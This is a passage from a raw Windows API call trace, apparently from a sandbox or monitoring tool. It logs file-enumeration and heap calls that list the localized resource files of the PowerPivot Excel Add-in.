ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0281.634] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcc3c8ab, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc3c8ab, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0281.634] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0281.635] GetProcessHeap () returned 0xaf0000 [0281.635] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0281.635] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0281.635] GetProcessHeap () returned 0xaf0000 [0281.635] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0281.635] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0281.636] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0281.637] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0281.637] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00af60a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xcaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0281.637] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7ca9e76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7ca9e76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf803d796, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0281.637] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x613fd44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x613fd44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0281.638] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x897b914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x897b914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91d3da7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x200a98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0281.638] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8b74ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8b74ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0281.638] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6f2911, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6f2911, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6f2911, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0281.638] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1697068, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0281.638] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefe4d066, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefebf763, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0281.638] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa531f86, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0281.638] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4bc999b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4bc999b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4bc999b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0281.638] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x69980f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0281.638] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x575324, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x575324, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59b433, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0281.639] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x71040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0281.639] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x718b80, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x718b80, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0281.639] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0281.639] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0281.639] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2ebbef3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f0835f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0281.639] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ac3a61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e0ae4d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0281.639] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ac3a61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e0ae4d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0281.639] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0281.945] GetProcessHeap () returned 0xaf0000 [0281.945] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0281.945] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0281.946] GetProcessHeap () returned 0xaf0000 [0281.946] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0281.946] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0281.948] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0281.949] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1111, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0281.949] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8574958, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8574958, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf8574958, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0281.949] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a18be3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a18be3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a3ee57, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0281.949] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0281.949] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0063153, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0281.949] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a13a8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0281.949] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf472b09c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0281.949] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b5bbeb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b5bbeb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b5bbeb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0281.950] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4bab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0281.950] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb94fd84, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb94fd84, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb94fd84, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0281.950] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x447d6b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x447d6b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44a38de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5480, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0281.950] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa6d5947, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa6d5947, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0281.950] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4d48116, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4d48116, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0281.950] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf75a8fbb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf75a8fbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf75a8fbb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x71078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0281.950] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf03d07a0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf03d07a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", 